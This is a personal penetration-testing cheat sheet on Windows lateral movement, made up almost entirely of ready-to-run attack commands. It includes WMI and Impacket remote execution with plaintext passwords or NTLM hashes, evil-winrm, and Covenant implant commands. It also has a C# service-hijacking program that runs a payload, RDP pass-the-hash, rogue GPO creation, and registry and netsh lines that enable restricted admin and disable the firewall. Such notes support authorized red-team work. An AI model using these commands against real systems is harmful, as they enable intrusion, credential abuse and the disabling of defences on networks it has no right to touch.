xct's notes
Search…
Lateral Movement

WMI

Native

1
wmic /node:"<computername>" /user:"<domain>\<user>" /password:"<password>" process call create "powershell -enc <cmd>"
Copied!

SharpWMI

1
SharpWMI /command:"action=exec computername=<computername> command=\"c:\temp\x.exe\""
Copied!

Covenant

1
WMIGrunt <computername> PowerShell
2
WMICommand <computername> PowerShell
Copied!
A good way to move laterally is to generate an encoded powershell launcher and launch it via WMICommand.

Impacket

1
wmiexec.py <username>:'<password>'@<ip>
2
wmiexec.py -hashes :<ntlm hash> [email protected]<ip>
Copied!

WinRM

1
evil-winrm -i <ip> -u <domain>/<username> -p <password> -s <scriptdir>
2
evil-winrm -i <ip> -u <domain>/<username> -H <hash> -s <scriptdir>
Copied!

Windows native

1
sc start winrm
2
Enable-WSManCredSSP -Role "Client" -DelegateComputer "*"
Copied!
Edit registry:
1
Computer Configuration > Administrative Templates > System > Credentials Delegation > Allow Delegating Fresh Credentials.
2
Computer Configuration > Administrative Templates > System > Credentials Delegation > Allow Delegating Fresh Credentials with NTLM only server authentication.
Copied!
1
$user = '<user>'
2
$pass = ConvertTo-SecureString -AsPlainText '<password>' -Force
3
$cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $user,$pass
4
New-PSSession -URI http://<url>:5985/wsman -Authentication CredSSP -Credential $cred
5
Enter-PSSession -id <id>
Copied!
Alternatively if we want to get a PowerShell session with the current user on a remote box we can just run:
1
Enter-PSSession -Computer <computername>
Copied!

Covenant

1
PowerShellRemoting <computername> <cmd>
2
PowerShellRemoting <computername> <cmd> <domain> <user> <pass>
Copied!

Resources

Demystifying WinRM
Blogging for Logging

PsExec

Impacket:
1
psexec.py <username>:'<password>'@<ip>
2
psexec.py -hashes :<ntlm hash> [email protected]<ip>
Copied!
Covenant:
1
CreateRemoteService<computername> gruntsvc "<name>" c:\temp\x.exe
2
StartRemoteService <computername> gruntsvc
3
DeleteRemoteService <computername> gruntsvc
Copied!
Metasploit has its own PSExec module as well.
We can do this in C# in a bit more elegant way, without having to copy a file & register a new service (instead we change to path of an existing one briefly).
1
using System;
2
using System.Runtime.InteropServices;
3
4
namespace NetPsExec
5
{
6
class Program
7
{
8
[DllImport("advapi32.dll", EntryPoint = "OpenSCManagerW", ExactSpelling = true, CharSet = CharSet.Unicode, SetLastError = true)]
9
public static extern IntPtr OpenSCManager(string machineName, string databaseName, uint dwAccess);
10
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)]
11
static extern IntPtr OpenService(IntPtr hSCManager, string lpServiceName, uint dwDesiredAccess);
12
[DllImport("advapi32.dll", EntryPoint = "ChangeServiceConfig")]
13
[return: MarshalAs(UnmanagedType.Bool)]
14
public static extern bool ChangeServiceConfigA(IntPtr hService, uint dwServiceType, int dwStartType, int dwErrorControl, string lpBinaryPathName, string lpLoadOrderGroup, string lpdwTagId, string lpDependencies, string lpServiceStartName, string lpPassword,string lpDisplayName);
15
[DllImport("advapi32", SetLastError = true)]
16
[return: MarshalAs(UnmanagedType.Bool)]
17
public static extern bool StartService(IntPtr hService, int dwNumServiceArgs, string[] lpServiceArgVectors);
18
19
static void Main(string[] args)
20
{
21
String target = "localhost"; // can be a remote computer name
22
IntPtr SCMHandle = OpenSCManager(target, null, 0xF003F);
23
string ServiceName = "SensorService"; // can be any service that is not in use and that we can start
24
IntPtr schService = OpenService(SCMHandle, ServiceName, 0xF01FF);
25
string payload = "powershell.exe";
26
bool bResult = ChangeServiceConfigA(schService, 0xffffffff, 3, 0, payload, null, null, null, null, null, null);
27
bResult = StartService(schService, 0, null);
28
}
29
}
30
}
Copied!
A more advanced Implementation can be found in SCShell which even has a python version and doe some additional steps (like restoring the original path).

RDP

This probably the easiest and most comfortable way. On Linux use xfreerdp for credssp.
1
xfreerdp /u:<username> /p:'<password>' /v:<ip>
2
xfreerdp /u:<username> /pth:<ntlm hash> /v:<ip>
Copied!
On Windows we use mstsc.exe. When supplied the /restrictedadmin parameter, the current users Auth will be used without having to enter any creds (Network Logon, does not cache credentials). When supplying credentials, these will always be cached by windows - even after the rdp session has already ended. Restricted admin mode is disabled by default though (controlled by HKLM:\System\CurrentControlSet\Control\Lsa ).

SharpRDP

SharpRDP allows to execute commands via RDP on a remote system:

1
SharpRDP.exe computername=target.domain command="..." username=domain\user password=password exec=cmd
Copied!

GPO Abuse

Find all Principals that can create new GPOs:
1
Get-DomainObjectAcl -SearchBase "CN=Policies,CN=System,DC=<>,DC=<>" -ResolveGUIDs | ? { $_.ObjectAceType -eq "Group-Policy-Container" } | select ObjectDN, ActiveDirectoryRights, SecurityIdentifier | fl
Copied!
Find Principals that can write GP-Link attribute on OUs:
1
PowerShell Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ObjectAceType -eq "GP-Link" -and $_.ActiveDirectoryRights -match "WriteProperty" } | select ObjectDN, SecurityIdentifier | fl
Copied!
Create GPO
1
New-GPO -Name 'Another Totally Legit GPO' | New-GPLink -Target 'OU=<>,OU=Workstations,DC=<>,DC=<>'
Copied!

Resources

Group Policies Going Rogue
CyberArk

PSRemoting

Invoke command on remote host

1
Invoke-Command -ComputerName <target> -Credential $cred -ScriptBlock { whoami }
Copied!

Enable RDP PTH as Administrator

1
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
2
reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f
3
netsh advfirewall set allprofiles state off
Copied!
Last modified 1mo ago